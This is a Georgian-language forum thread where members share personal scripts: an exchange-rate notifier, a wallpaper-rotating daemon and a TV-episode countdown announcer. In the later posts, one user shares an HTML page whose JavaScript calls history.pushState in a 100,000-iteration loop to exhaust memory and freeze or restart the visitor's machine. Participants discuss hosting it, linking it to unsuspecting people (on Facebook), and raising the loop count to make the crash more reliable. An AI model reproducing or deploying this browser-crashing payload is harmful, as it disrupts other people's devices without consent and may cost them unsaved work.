Jump to content
მათე

გამოსადეგი სკრიპტები/პროგრამები

Recommended Posts

მოდით აქ დავდოთ ჩვენ მიერ დაწერილი გამოსადეგი სკრიპტები და პროგრამები.

კაი ხანია MAC OS X ზე გადავედი ჩემ ლეპტოპზე და ლინუქს არ ვხმარობ ამიტომ ცოტა მოვშორდი მაგ ამბავს ადრე საკმაოდ ბევრს ვწერდი ეგეთებს.

ესეც ჩემი ბოლო ნამუშევარი.

ეს კურსი ისე მალე იცვლება python-ს პროგრამა გავაკეთე ყოველ ერთ საათში მიწერს ლამაზად notification-ს მარჯვენა ზედა კუთხეში რამდენია კურსი და აიწია თუ არადა რამდენით აი ასეთ ვიდზეა. (ეროვნული ბანკის მონაცემებია ეგ რასაც წერს)

df08905857e1.png

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from mechanize import Browser
from BeautifulSoup import BeautifulSoup
from pyquery import PyQuery
import subprocess

mech = Browser()
#url = "https://www.nbg.gov.ge/index.php?m=582view-source:https://www.nbg.gov.ge/index.php?m=582"
url = "https://www.nbg.gov.ge/index.php?m=582"
page = mech.open(url)
html = page.read()

soup = BeautifulSoup(html)
table = soup.find("table", border="0", style="width:100%;")

cur = []

for row in table.findAll('tr')[1:]:
    col = row.findAll('td')
    cur.append(col[0])

usd = []
pas = []
aiw = []

for line in cur[2].findAll('tr'):
    usd.append(line)
    pas.append(line.text)

for line in cur[2].findAll('img'):
	aiw.append(line)

nishani = ""

if str(aiw[-3]) == '<img src="./images/red.gif" />':
    nishani = 'აიწია'
elif str(aiw[-3]) == '<img src="./images/green.gif" />':
    nishani = 'დაიწია'

notify = pas[-3]
notify = notify[3] + " " + notify[:3] + " = " + notify[15:21] + " GEL " + nishani.decode('utf8') + " " + notify[21:]

subprocess.Popen("export $(egrep -z DBUS_SESSION_BUS_ADDRESS /proc/$(pgrep -u $LOGNAME gnome-session)/environ) && notify-send \"%s\"" % notify, shell=True, stdout=subprocess.PIPE).stdout.read()

სჭირდება python-ს მოდულები mechanize, BeautifulSoup და linux-ზე (ubuntu-ზე დატესტილია) სამუშაოდ უნდა  notify-send ჩაამატედ crontab-ში სიტყვაზე ყოველსაათში და დაგიწერთ.

  • Upvote 1

Share this post


Link to post
Share on other sites

ეს კიდევ ერთი დაემონზე დაფუძნებული პროგრამა ყოველ რაღაც დროში (რამდენსაც მიუთითებ) ცვლის სურათებს. უბუნტუზე ვერ ვნახე ეგ ფუნქცია და ეს გავაკეთე.

აქ უნდა შეცვალოთ ეს ხაზი თუ რამდენ ხანში ერთხელ შეცვალოს ფოტო. 
           system ("/usr/bin/env $HOME/wallpaper.py");
           sleep(100); /* yovel 100 wamshi */
  პირველ ხაზში მიუთითეთ სადაც ქვედა პითონის პროგრამას დააგდებთ იმ ფოლდერის მისამართი. დეფოლტად ხედავთ სადაც უნდა ეგდოს, ხოლო ქვედა მეორე ხაზში მიუთითედ თუ რამდენ ხანში შეცვალოს ვოლფეიფერი.
ეს დაემონია და უნდა იქნას გაშვებული user-ს მიერ და არა root-თ.

დაკომპილირება ხდება ბრძანებით gcc -o 1 2 სადაც 1 არის დაკომპილირებული ფაილის მისამართი სახელით 2 არის არსებული კოდის ფაილის მისამართი სახელით. ამ სახით უნდა იყოს code.c სახელი რაც გინდათ გაფართოება ქონდეს .c

#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <syslog.h>
#include <string.h>
 
int main(void) {
        pid_t pid, sid;
        pid = fork();
        if (pid < 0) {
                exit(EXIT_FAILURE);
        }

        if (pid > 0) {
                exit(EXIT_SUCCESS);
        }

        umask(0);     
        sid = setsid();

        if (sid < 0) {
                exit(EXIT_FAILURE);
        }

        if ((chdir("/")) < 0) {
                exit(EXIT_FAILURE);
        }

        close(STDIN_FILENO);
        close(STDOUT_FILENO);
        close(STDERR_FILENO);

        while (1) {
           system ("/usr/bin/env $HOME/wallpaper.py");
           sleep(100); /* yovel 100 wamshi */
        }
   exit(EXIT_SUCCESS);
}

ესეც პითონის სკრიპტი. აქ დაუკვირდით რომ ამ ხაზში ეწეროს ამავე ხაზის ნომერი replace_line(scr_dir, 36, new_last_line)

ხოლო სურათების ადგილმდებარეობა არის $HOME/Pictures/Wallpaper

სკრიპტი ეძებს მითითებულ დირექტორიაში არსებულ სურათებს ინახავ ერეიში (ბოლო ციფრი მიუთითებს თუ რომელ წევრზეა ეხლა) შემდეგი გაშვებისას კი გადადის შემდეგ სურათზე და ის ციფრი იცვლება. სურათების ამოწურვის მერე იწყებს თავიდან. (ეცადეთ ფოლდერში მხოლოდ სურათები ეყაროს.

#!/usr/bin/env python
import sys,os
import subprocess
import getpass
 
username = getpass.getuser()
pics_dir = "/home/" + username + "/Pictures/Wallpapers"
scr_dir = "/home/" + username + "/wallpaper.py"
pics=[]
 
def replace_line(file_name, line_num, text):
	lines = open(file_name, 'r').readlines()
	lines[line_num] = text
	out = open(file_name, 'w')
	out.writelines(lines)
	out.close()
 
path = os.path.join(pics_dir, "targetdirectory")
for path, subdirs, files in os.walk(pics_dir):
	for name in files:
		a = os.path.join(path, name)
		a = a.replace (" ", "\ ")
		pics.append(a)
 
fi=open(scr_dir,'rb')
lines = fi.readlines()
if lines:
	index = int(lines[-1])
	brz = "gsettings set org.gnome.desktop.background picture-uri file://" + pics[index]
	index = index + 1
	new_last_line = str(index)
if index == len(pics):
	new_last_line = "0"
 
os.system(brz)
replace_line(scr_dir, 36, new_last_line)
1

 

  • Upvote 1

Share this post


Link to post
Share on other sites

ეს ჩემი კიდევ ერთი პროგრამა shift + alt(command) + 6 shortcut-თ ეშვება სასურველი TV show-ების ახალი სერიის გამოსვლამდე დარჩენილ დროს ნახულობს და ასეთი notification-ები გამოაქ და გამოტანის მომენტში ინგლისურად ამბობს ფრაზას:
"სერიალის სახელი" coming in 1 week 1 hours

ეს სერიალები მაქვს ჩაყრილი Flash, Gotham, Arrow, SHIELD, Walking Dead, Game Of Thrones, Supernatural, Vampire Diareas, Originals, Vikings, Daredevil

ძალიან მაგარი text to speech აქვს MAC OS X-ს საღოლ მაგათ. რუსაულადაც და ინგლისურადაც საუკეთესო ხმები ამოვარჩიე და ეგ დავაყენე. ინგლისურად მიყენია დეფოლტად.

აი ასეთ ვიდზეა

d878d591f13e.png

2735ece2fae6.png

d1ace51888d3.png

კოდი:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import subprocess
import time
import pygtk,  gtk,  flickrapi
import selenium
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import Select
import urllib
import sys
import re

start = 'Countdown:'
end = 'Date:'

def get_time_until_next_episode(url, seriali):
	driver = webdriver.PhantomJS('/Users/MRX/programs/phantomjs-2.1.1-macosx/bin/phantomjs')
	driver.get(url)
	episode_info = driver.find_element_by_xpath(".//*[@id='next_episode']").text
	episode_time = str(episode_info).replace('\n', ' ')	
	release_time = re.search('%s(.*)%s' % (start, end), episode_time).group(1).strip()
	notification = """/usr/local/bin/terminal-notifier -message "%s გამოდის %s-ში" -title 'კინო ანონსი'""" % (seriali, release_time)
	p = subprocess.Popen('%s' % notification, stdout=subprocess.PIPE, shell=True)
	sound = 'say "%s coming in %s"' % (seriali, release_time)
	p = subprocess.Popen('%s' % sound, stdout=subprocess.PIPE, shell=True)
	time.sleep(1)
	return release_time

get_time_until_next_episode("http://next-episode.net/the-flash", 'Flash')
get_time_until_next_episode("http://next-episode.net/gotham", 'Gotham')
get_time_until_next_episode("http://next-episode.net/arrow", 'Arrow')
get_time_until_next_episode("http://next-episode.net/marvels-agents-of-s.h.i.e.l.d.", 'SHIELD')
get_time_until_next_episode("http://next-episode.net/the-walking-dead", 'Walking Dead')
get_time_until_next_episode("http://next-episode.net/game-of-thrones", 'Game Of Thrones')
get_time_until_next_episode("http://next-episode.net/supernatural", 'Supernatural')
get_time_until_next_episode("http://next-episode.net/the-vampire-diaries", 'Vampire Diareas')
get_time_until_next_episode("http://next-episode.net/the-originals", 'Originals')
get_time_until_next_episode("http://next-episode.net/vikings", 'Vikings')
get_time_until_next_episode("http://next-episode.net/marvels-daredevil", 'Daredevil')

Share this post


Link to post
Share on other sites
<html>
    <body>
        <h1>What were you expecting?</h1>
        <script>
            (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
                    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
                    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
                    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

                    ga('create', 'UA-60737367-1', 'auto');
                    ga('send', 'pageview');
                </script>
                <script>
                    var total = "";
                    for( var i = 0; i < 100000; i++ ) {
                        total = total + i.toString();
                        history.pushState(0,0, total );
                    }
                </script>
            </body>
        </html>

პატარა კოდი ნებისმიერი ბრაუზერით გახსნისას ოპერაციულ ისტემას გამოიყვანს დროებით მწყობრიდან გადაიტვირთება ოპერატიული მეხსიერება და დარესტარტდება უბრალოთ.. არვიცი ვის რაში გამოგადგებათ მაგრამ სახუმაროთ კარგია :D

  • Upvote 1

Share this post


Link to post
Share on other sites

წამში 100000 სიმბოლოს წერს გუგლის საძიებო ველში თქვენ შეგიძლიათ გაადიოთ ან შეამციროთ

 for( var i = 0; i < 100000; i++ ) 

 :D..  ასწორებს მავნებლობა :D

Share this post


Link to post
Share on other sites

@xDeBian ანუ ჰოსტზე რო ავტვირთო და დავულინკო გაუთიშავს კომპს ხო? :D

Share this post


Link to post
Share on other sites
13 hours ago, Dr0idGh0sT said:

@xDeBian ანუ ჰოსტზე რო ავტვირთო და დავულინკო გაუთიშავს კომპს ხო? :D

კი უპრობლემოთ თითქმის ყველა აპარატურაზე გავტესტე და მუშაობს.. ფეისბუქისთვის მისწრებაა :D..

Share this post


Link to post
Share on other sites
On March 31, 2016 at 3:07:17 AM, xDeBian said:

კი უპრობლემოთ თითქმის ყველა აპარატურაზე გავტესტე და მუშაობს.. ფეისბუქისთვის მისწრებაა :D..

safari-ზე გავხსენი ჩემს hackintosh-ზე და ოპერატიულის მოხმარებაც არ გაზრდილა და არც გათიშლა კომპი.

233995814e8c.png

Share this post


Link to post
Share on other sites
12 hours ago, მათე said:

safari-ზე გავხსენი ჩემს hackintosh-ზე და ოპერატიულის მოხმარებაც არ გაზრდილა და არც გათიშლა კომპი.

233995814e8c.png

ABP Block გიყენია და აბა რას იზამდა დაბლოკავდა სკრიპტს თავისთავად...

Share this post


Link to post
Share on other sites
5 hours ago, xDeBian said:

ABP Block გიყენია და აბა რას იზამდა დაბლოკავდა სკრიპტს თავისთავად...

აგერ უბუნტუზე ქრომში გავუშვი და არც აქ უქნია არაფერი. ABP block არ აყენია აქ.

013700d428f2.png

Share this post


Link to post
Share on other sites
17 hours ago, მათე said:

აგერ უბუნტუზე ქრომში გავუშვი და არც აქ უქნია არაფერი. ABP block არ აყენია აქ.

013700d428f2.png

აბა ჩემთან უხარია დივეისების გადატვირთვა? :D  აჰა ჰოსტინგზე მივამაგრე აბა  ნახე შენ სავარაუდოთ როგორც დოკუმენტს ისე ხსნი ალბათ http://bututa.temp.swtest.ru

Share this post


Link to post
Share on other sites
11 საათი წინ, xDeBian said:

აბა ჩემთან უხარია დივეისების გადატვირთვა? :D  აჰა ჰოსტინგზე მივამაგრე აბა  ნახე შენ სავარაუდოთ როგორც დოკუმენტს ისე ხსნი ალბათ http://bututa.temp.swtest.ru

მაგ ლინკე რო გადავედი უბუნტუში ეტყობა იმუშავა გაავსო ოპერატიული და გაჭედა უბრალოდ, არ გადატვირთულა.

მე html ფაილს ვქმნიდი ვაკოპირებდი შიგ მაგ კოდს და უბრალოდ ორი დაჭერით ვხსნიდი ბრაუზერით. რას ვაკეთებდი არასწორად?

Share this post


Link to post
Share on other sites
30 minutes ago, მათე said:

მაგ ლინკე რო გადავედი უბუნტუში ეტყობა იმუშავა გაავსო ოპერატიული და გაჭედა უბრალოდ, არ გადატვირთულა.

მე html ფაილს ვქმნიდი ვაკოპირებდი შიგ მაგ კოდს და უბრალოდ ორი დაჭერით ვხსნიდი ბრაუზერით. რას ვაკეთებდი არასწორად?

ამ სკრიპტის დავალება გოოგლეს საძიებო ველში წამში 100000სიმბოლო დაამატოს და იბრალო დოკუმენტიდან არ იზამდა ჰოსტინგზე უნდა ყოფილიყო ან ინტერნეტტთან გქონდა კავშირი? როცა ამოწმებდი? თუ არ გადაგიტვირთა მაშინ 100000 შეცვალე უფრო მეტი სიმბოლოთი მაგალითად მილიონიტ და გადატვირთავს..

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×